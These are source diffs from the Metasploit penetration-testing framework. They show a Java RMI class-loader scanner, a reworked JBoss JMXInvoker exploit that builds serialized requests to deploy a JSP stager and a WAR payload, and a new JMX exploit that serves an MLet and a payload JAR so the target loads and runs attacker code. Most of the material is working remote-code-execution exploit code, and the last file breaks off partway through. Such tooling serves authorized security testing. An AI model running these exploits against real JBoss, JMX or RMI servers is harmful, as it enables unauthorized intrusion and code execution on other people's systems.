stream_id
end
# Reads and deserializes the return value from the IO
#
# @param io [IO] the IO to read from
# @return [Rex::Java::Serialization::Model::Stream]
def decode_return_value(io)
return_value = Rex::Java::Serialization::Model::Stream.decode(io)
return_value
end
# Encodes the stream_id field
#
# @return [String]
def encode_stream_id
[stream_id].pack('C')
end
# Encodes the return_value field
#
# @return [String]
def encode_return_value
return_value.encode
end
end
end
end
end
end

View File

@ -4,10 +4,11 @@
##
require 'msf/core'
require 'rex/java/serialization'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Java::Rmi::Client
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
@ -33,96 +34,122 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
def setup
buf = gen_rmi_loader_packet
jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar'
old_url = "file:./rmidummy.jar"
new_url = "file:RMIClassLoaderSecurityTest/" + jar
# Java strings in serialized data are prefixed with a 2-byte, big endian length
# (at least, as long as they are shorter than 65536 bytes)
find_me = [old_url.length].pack("n") + old_url
idx = buf.index(find_me)
len = [new_url.length].pack("n")
# Now replace it with the new url
buf[idx, find_me.length] = len + new_url
@pkt = "JRMI" + [2,0x4b,0,0].pack("nCnN") + buf
end
def run_host(target_host)
vprint_status("#{peer} - Sending RMI Header...")
connect
begin
connect
sock.put("\x4a\x52\x4d\x49\0\x02\x4b")
res = sock.get_once
disconnect
if res and res =~ /^\x4e..([^\x00]+)\x00\x00/
info = $1
begin
# Determine if the instance allows remote class loading
connect
sock.put(@pkt) rescue nil
buf = ""
1.upto(6) do
res = sock.get_once(-1, 5) rescue nil
break if not res
buf << res
end
rescue ::Interrupt
raise $!
rescue ::Exception
ensure
disconnect
end
if buf =~ /RMI class loader disabled/
print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled")
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled")
elsif buf.length > 0
print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled")
svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled")
report_vuln(
:host => rhost,
:service => svc,
:name => self.name,
:info => "Module #{self.fullname} confirmed remote code execution via this RMI service",
:refs => self.references
)
else
print_status("#{rhost}:#{rport} Java RMI Endpoint Detected")
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "")
end
end
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionError, ::IOError
ensure
send_header
ack = recv_protocol_ack
if ack.nil?
print_error("#{peer} - Filed to negotiate RMI protocol")
disconnect
return
end
# Determine if the instance allows remote class loading
vprint_status("#{peer} - Sending RMI Call...")
jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar'
jar_url = "file:RMIClassLoaderSecurityTest/" + jar
send_call(call_data: build_gc_call_data(jar_url))
return_data = recv_return
if return_data.nil?
print_error("#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected")
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "")
return
end
if loader_enabled?(return_data)
print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled")
svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled")
report_vuln(
:host => rhost,
:service => svc,
:name => self.name,
:info => "Module #{self.fullname} confirmed remote code execution via this RMI service",
:refs => self.references
)
else
print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled")
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled")
end
end
def gen_rmi_loader_packet
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" +
"\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" +
"\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" +
"\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" +
"\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" +
"\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" +
"\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a"
def loader_enabled?(stream)
stream.contents.each do |content|
if content.class == Rex::Java::Serialization::Model::NewObject &&
content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
content.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
!content.class_data[1].contents.include?('RMI class loader disabled')
return true
end
end
false
end
def build_gc_call_data(jar_url)
stream = Rex::Java::Serialization::Model::Stream.new
block_data = Rex::Java::Serialization::Model::BlockData.new
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
block_data.length = block_data.contents.length
stream.contents << block_data
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
new_array_annotation.contents = [
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new
]
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
new_array_desc.serial_version = 0x871300b8d02c647e
new_array_desc.flags = 2
new_array_desc.fields = []
new_array_desc.class_annotation = new_array_annotation
new_array_desc.super_class = new_array_super
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
array_desc.description = new_array_desc
new_array = Rex::Java::Serialization::Model::NewArray.new
new_array.type = 'java.rmi.server.ObjID;'
new_array.values = []
new_array.array_description = array_desc
stream.contents << new_array
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
new_class_desc.serial_version = 0xa16544ba26f9c2f4
new_class_desc.flags = 2
new_class_desc.fields = []
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents = [
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
Rex::Java::Serialization::Model::EndBlockData.new
]
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object = Rex::Java::Serialization::Model::NewObject.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = []
stream.contents << new_object
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
stream
end
end

View File

@ -88,9 +88,9 @@ class Metasploit4 < Msf::Exploit::Remote
end
def check
res = send_serialized_request('version.bin')
res = send_serialized_request('version')
if res.nil?
vprint_error("Connection timed out")
vprint_error('Connection timed out')
return Exploit::CheckCode::Unknown
elsif res.code != 200
vprint_error("Unable to request version, returned http code is: #{res.code.to_s}")
@ -103,7 +103,7 @@ class Metasploit4 < Msf::Exploit::Remote
return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/
if res.body =~ /ServletException/ # Simple check, if we caused an exception.
vprint_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit")
vprint_status('Target seems vulnerable, but the used JBoss version is not supported by this exploit')
return Exploit::CheckCode::Appears
end
@ -113,31 +113,29 @@ class Metasploit4 < Msf::Exploit::Remote
def exploit
mytarget = target
if (target.name =~ /Automatic/)
if target.name =~ /Automatic/
mytarget = auto_target
fail_with("Unable to automatically select a target") if not mytarget
fail_with('Unable to automatically select a target') unless mytarget
print_status("Automatically selected target: \"#{mytarget.name}\"")
else
print_status("Using manually select target: \"#{mytarget.name}\"")
end
# We use a already serialized stager to deploy the final payload
regex_stager_app_base = rand_text_alpha(14)
regex_stager_jsp_name = rand_text_alpha(14)
name_parameter = rand_text_alpha(8)
content_parameter = rand_text_alpha(8)
stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp"
stager_code = "A" * 810 # 810 is the size of the stager in the serialized request
replace_values = {
'regex_app_base' => regex_stager_app_base,
'regex_jsp_name' => regex_stager_jsp_name,
stager_code => generate_stager(name_parameter, content_parameter)
'jsp_code' => generate_stager(name_parameter, content_parameter)
}
print_status("Deploying stager")
send_serialized_request('installstager.bin', replace_values)
print_status('Deploying stager')
send_serialized_request('installstager', replace_values)
print_status("Calling stager: #{stager_uri}")
call_uri_mtimes(stager_uri, 5, 'GET')
@ -162,23 +160,21 @@ class Metasploit4 < Msf::Exploit::Remote
name_parameter => app_base,
content_parameter => b64_war
}
}, 20)
})
payload_uri = "/#{app_base}/#{jsp_name}.jsp"
print_status("Calling payload: " + payload_uri)
res = call_uri_mtimes(payload_uri,5, 'GET')
# Remove the payload through stager
print_status("Removing payload through stager")
print_status('Removing payload through stager')
delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}"
res = send_request_cgi(
{'uri' => delete_payload_uri,
})
res = send_request_cgi({'uri' => delete_payload_uri})
# Remove the stager
print_status("Removing stager")
send_serialized_request('removestagerfile.bin', replace_values)
send_serialized_request('removestagerdirectory.bin', replace_values)
print_status('Removing stager')
send_serialized_request('removestagerfile', replace_values)
send_serialized_request('removestagerdirectory', replace_values)
handler
end
@ -226,18 +222,39 @@ catch(Exception e) {}
%>
EOT
# The script must be exactly 810 characters long, otherwise we might have serialization issues
# Therefore we fill the rest wit spaces
spaces = " " * (810 - stager_script.length)
stager_script << spaces
end
def send_serialized_request(file_name , replace_params = {})
path = File.join( Msf::Config.data_directory, "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name)
data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) }
replace_params.each { |key, value| data.gsub!(key, value) }
def send_serialized_request(operation , replace_params = {})
data = ''
case operation
when 'version'
data = build_get_version.encode
when 'osname'
data = build_get_os.encode
when 'osarch'
data = build_get_arch.encode
when 'installstager'
data = build_install_stager(
war_name: replace_params['regex_app_base'],
jsp_name: replace_params['regex_jsp_name'],
data: replace_params['jsp_code']
).encode
when 'removestagerfile'
data = build_delete_stager_file(
dir: "#{replace_params['regex_app_base']}.war",
file: replace_params['regex_jsp_name'],
extension: '.jsp'
).encode
when 'removestagerdirectory'
data = build_delete_stager_file(
dir: './',
file: replace_params['regex_app_base'],
extension: '.war'
).encode
else
fail_with(Failure::Unknown, "#{peer} - Unexpected operation")
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
@ -251,20 +268,19 @@ EOT
}, 25)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting preserialized request #{file_name}")
unless res && res.code == 200
print_error("Failed: Error requesting preserialized request #{operation}")
return nil
end
res
end
def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)
# JBoss might need some time for the deployment. Try 5 times at most and
# wait 5 seconds inbetween tries
num_attempts.times do |attempt|
if (verb == "POST")
if verb == "POST"
res = send_request_cgi(
{
'uri' => uri,
@ -281,17 +297,17 @@ EOT
end
msg = nil
if (!res)
if res.nil?
msg = "Execution failed on #{uri} [No Response]"
elsif (res.code < 200 or res.code >= 300)
elsif res.code < 200 || res.code >= 300
msg = "http request failed to #{uri} [#{res.code}]"
elsif (res.code == 200)
elsif res.code == 200
print_status("Successfully called '#{uri}'") if datastore['VERBOSE']
return res
end
if (attempt < num_attempts - 1)
msg << ", retrying in 5 seconds..."
if attempt < num_attempts - 1
msg << ', retrying in 5 seconds...'
print_status(msg) if datastore['VERBOSE']
select(nil, nil, nil, 5)
else
@ -303,12 +319,12 @@ EOT
def auto_target
print_status("Attempting to automatically select a target")
print_status('Attempting to automatically select a target')
plat = detect_platform()
arch = detect_architecture()
plat = detect_platform
arch = detect_architecture
return nil if (not arch or not plat)
return nil unless arch && plat
# see if we have a match
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
@ -317,37 +333,408 @@ EOT
return nil
end
# Try to autodetect the target platform
def detect_platform
print_status("Attempting to automatically detect the platform")
res = send_serialized_request("osname.bin")
print_status('Attempting to automatically detect the platform')
res = send_serialized_request('osname')
if (res.body =~ /(Linux|FreeBSD|Windows)/i)
if res.body =~ /(Linux|FreeBSD|Windows)/i
os = $1
if (os =~ /Linux/i)
if os =~ /Linux/i
return 'linux'
elsif (os =~ /FreeBSD/i)
elsif os =~ /FreeBSD/i
return 'linux'
elsif (os =~ /Windows/i)
elsif os =~ /Windows/i
return 'win'
end
end
nil
end
# Try to autodetect the architecture
def detect_architecture()
print_status("Attempting to automatically detect the architecture")
res = send_serialized_request("osarch.bin")
if (res.body =~ /(i386|x86)/i)
def detect_architecture
print_status('Attempting to automatically detect the architecture')
res = send_serialized_request('osarch')
if res.body =~ /(i386|x86)/i
arch = $1
if (arch =~ /i386|x86/i)
if arch =~ /i386|x86/i
return ARCH_X86
# TODO, more
end
end
nil
end
def build_get_version
builder = Rex::Java::Serialization::Builder.new
object_array = builder.new_array(
values_type: 'java.lang.Object;',
values: [
builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf,
flags: 3,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
),
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=Server')
],
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = []
stream.contents << object_array
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'Version')
build_invocation(stream)
end
def build_get_os
builder = Rex::Java::Serialization::Builder.new
object_array = builder.new_array(
values_type: 'java.lang.Object;',
values: [
builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf,
flags: 3,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
),
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo')
],
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = []
stream.contents << object_array
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSName')
build_invocation(stream)
end
def build_get_arch
builder = Rex::Java::Serialization::Builder.new
object_array = builder.new_array(
values_type: 'java.lang.Object;',
values: [
builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf,
flags: 3,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
),
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo')
],
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = []
stream.contents << object_array
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSArch')
build_invocation(stream)
end
def build_install_stager(opts = {})
war_name = "#{opts[:war_name]}.war"
jsp_name = opts[:jsp_name] || ''
extension = opts[:extension] || '.jsp'
data = opts[:data] || ''
builder = Rex::Java::Serialization::Builder.new
object_array = builder.new_array(
values_type: 'java.lang.Object;',
values: [
builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf,
flags: 3,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
),
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'),
Rex::Java::Serialization::Model::EndBlockData.new,
Rex::Java::Serialization::Model::Utf.new(nil, 'store')
],
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
values_array = builder.new_array(
values_type: 'java.lang.Object;',
values: [
Rex::Java::Serialization::Model::Utf.new(nil, war_name),
Rex::Java::Serialization::Model::Utf.new(nil, jsp_name),
Rex::Java::Serialization::Model::Utf.new(nil, extension),
Rex::Java::Serialization::Model::Utf.new(nil, data),
builder.new_object(
name: 'java.lang.Boolean',
serial: 0xcd207280d59cfaee,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
fields: [['boolean', 'value']],
data: [['boolean', 0]]
)
],
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
types_array = builder.new_array(
values_type: 'java.lang.String;',
values: [
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
Rex::Java::Serialization::Model::Utf.new(nil, 'boolean')
],
name: '[Ljava.lang.String;',
serial: 0xadd256e7e91d7b47,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = []
stream.contents << object_array
stream.contents << values_array
stream.contents << types_array
build_invocation_deploy(stream)
end
def build_delete_stager_file(opts = {})
dir = opts[:dir] || ''
file = opts[:file] || ''
extension = opts[:extension] || '.jsp'
builder = Rex::Java::Serialization::Builder.new
object_array = builder.new_array(
values_type: 'java.lang.Object;',
values: [
builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf,
flags: 3,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
),
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'),
Rex::Java::Serialization::Model::EndBlockData.new,
Rex::Java::Serialization::Model::Utf.new(nil, 'remove')
],
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
values_array = builder.new_array(
values_type: 'java.lang.Object;',
values: [
Rex::Java::Serialization::Model::Utf.new(nil, dir),
Rex::Java::Serialization::Model::Utf.new(nil, file),
Rex::Java::Serialization::Model::Utf.new(nil, extension)
],
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
types_array = builder.new_array(
values_type: 'java.lang.String;',
values: [
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String')
],
name: '[Ljava.lang.String;',
serial: 0xadd256e7e91d7b47,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = []
stream.contents << object_array
stream.contents << values_array
stream.contents << types_array
build_invocation_deploy(stream)
end
def build_invocation(stream_argument)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = []
null_stream = build_null_stream
null_stream_enc = null_stream.encode
null_stream_value = [null_stream_enc.length].pack('N')
null_stream_value << null_stream_enc
null_stream_value << "\xfb\x57\xa7\xaa"
stream_argument_enc = stream_argument.encode
stream_argument_value = [stream_argument_enc.length].pack('N')
stream_argument_value << stream_argument_enc
stream_argument_value << "\x7b\x87\xa0\xfb"
stream.contents << build_marshalled_invocation
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x97\x51\x4d\xdd\xd4\x2a\x42\xaf")
stream.contents << build_integer(647347722)
stream.contents << build_marshalled_value
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, stream_argument_value)
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01")
stream.contents << build_invocation_key(5)
stream.contents << build_marshalled_value
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value)
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x02")
stream.contents << build_invocation_key(4)
stream.contents << build_invocation_type(1)
stream.contents << build_invocation_key(10)
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream
end
def build_invocation_deploy(stream_argument)
builder = Rex::Java::Serialization::Builder.new
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = []
null_stream = build_null_stream
null_stream_enc = null_stream.encode
null_stream_value = [null_stream_enc.length].pack('N')
null_stream_value << null_stream_enc
null_stream_value << "\xfb\x57\xa7\xaa"
stream_argument_enc = stream_argument.encode
stream_argument_value = [stream_argument_enc.length].pack('N')
stream_argument_value << stream_argument_enc
stream_argument_value << "\x7b\x87\xa0\xfb"
stream.contents << build_marshalled_invocation
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x78\x94\x98\x47\xc1\xd0\x53\x87")
stream.contents << build_integer(647347722)
stream.contents << build_marshalled_value
stream.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, stream_argument_value)
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01")
stream.contents << build_invocation_key(5)
stream.contents << build_marshalled_value
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value)
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x03")
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'JMX_OBJECT_NAME')
stream.contents << builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf,
flags: 3,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository')
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << build_invocation_key(4)
stream.contents << build_invocation_type(1)
stream.contents << build_invocation_key(10)
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream
end
def build_marshalled_invocation
builder = Rex::Java::Serialization::Builder.new
builder.new_object(
name: 'org.jboss.invocation.MarshalledInvocation',
serial: 0xf6069527413ea4be,
flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
end
def build_marshalled_value
builder = Rex::Java::Serialization::Builder.new
builder.new_object(
name: 'org.jboss.invocation.MarshalledValue',
serial: 0xeacce0d1f44ad099,
flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
end
def build_invocation_key(ordinal)
builder = Rex::Java::Serialization::Builder.new
builder.new_object(
name: 'org.jboss.invocation.InvocationKey',
serial: 0xb8fb7284d79385f9,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
fields: [
['int', 'ordinal']
],
data:[
['int', ordinal]
]
)
end
def build_invocation_type(ordinal)
builder = Rex::Java::Serialization::Builder.new
builder.new_object(
name: 'org.jboss.invocation.InvocationType',
serial: 0x59a73a1ca52b7cbf,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
fields: [
['int', 'ordinal']
],
data:[
['int', ordinal]
]
)
end
def build_integer(value)
builder = Rex::Java::Serialization::Builder.new
builder.new_object(
name: 'java.lang.Integer',
serial: 0x12e2a0a4f7818738,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
super_class: builder.new_class(
name: 'java.lang.Number',
serial: 0x86ac951d0b94e08b,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
),
fields: [
['int', 'value']
],
data:[
['int', value]
]
)
end
def build_null_stream
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = [Rex::Java::Serialization::Model::NullReference.new]
stream
end
end

View File

@ -0,0 +1,369 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Java::Jmx
include Msf::Exploit::Remote::HttpServer
include Msf::Java::Rmi::Client
def initialize(info = {})
super(update_info(info,
'Name' => 'Java JMX Server Insecure Configuration Java Code Execution',
'Description' => %q{
This module takes advantage a Java JMX interface insecure configuration, which would
allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication
disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while
interfaces with authentication enabled will be vulnerable only if a weak configuration
is deployed (allowing to use javax.management.loading.MLet, having a security manager
allowing to load a ClassLoader MBean, etc.).
},
'Author' =>
[
'Braden Thomas', # Attack vector discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi']
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' =>
{
'WfsDelay' => 10
},
'Targets' =>
[
[ 'Generic (Java Payload)', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 22 2013'
))
register_options([
Opt::RPORT(1617)
], self.class)
end
def on_request_uri(cli, request)
if request.uri =~ /mlet$/
jar = "#{rand_text_alpha(8 + rand(8))}.jar"
mlet = "<HTML><mlet code=\"metasploit.JMXPayload\" "
mlet << "archive=\"#{jar}\" "
mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "
mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"
send_response(cli, mlet,
{
'Content-Type' => 'application/octet-stream',
'Pragma' => 'no-cache'
})
print_status("Replied to request for mlet")
elsif request.uri =~ /\.jar$/i
p = regenerate_payload(cli)
jar = p.encoded_jar
paths = [
["metasploit", "JMXPayloadMBean.class"],
["metasploit", "JMXPayload.class"],
]
jar.add_files(paths, [ Msf::Config.data_directory, "java" ])
send_response(cli, jar.pack,
{
'Content-Type' => 'application/java-archive',
'Pragma' => 'no-cache'
})
print_status("Replied to request for payload JAR")
end
end
def check
connect
unless is_rmi?
return Exploit::CheckCode::Safe
end
mbean_server = discover_endpoint
disconnect
if mbean_server.nil?
return Exploit::CheckCode::Safe
end
connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
unless is_rmi?
return Exploit::CheckCode::Unknown
end
jmx_endpoint = handshake(mbean_server)
disconnect
if jmx_endpoint.nil?
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Appears
end
def exploit
@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
connect
print_status("#{peer} - Sending RMI Header...")
unless is_rmi?
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
end
print_status("#{peer} - Discoverig the JMXRMI endpoint...")
mbean_server = discover_endpoint
disconnect
if mbean_server.nil?
fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
else
print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
end
connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
unless is_rmi?
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
end
print_status("#{peer} - Proceeding with handshake...")
jmx_endpoint = handshake(mbean_server)
if jmx_endpoint.nil?
fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
else
print_good("#{peer} - Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
end
print_status("#{peer} - Loading payload...")
unless load_payload(jmx_endpoint)
fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
end
print_status("#{peer} - Executing payload...")
invoke_run_stream = invoke_stream(
obj_id: jmx_endpoint[:id].chop,
object: "#{@mlet}:name=jmxpayload,id=1",
method: 'run'
)
send_call(call_data: invoke_run_stream)
disconnect
end
def is_rmi?
send_header
ack = recv_protocol_ack
if ack.nil?
return false
end
true
end
def discover_endpoint
send_call(call_data: discovery_stream)
return_data = recv_return
if return_data.nil?
vprint_error("#{peer} - Discovery request didn't answer")
return nil
end
answer = extract_object(return_data, 1)
if answer.nil?
vprint_error("#{peer} - Unexpected JMXRMI discovery answer")
return nil
end
case answer
when 'javax.management.remote.rmi.RMIServerImpl_Stub'
mbean_server = extract_unicast_ref(StringIO.new(return_data.contents[2].contents))
else
vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{answer}")
return nil
end
mbean_server
end
def handshake(mbean)
vprint_status("#{peer} - Sending handshake / authentication...")
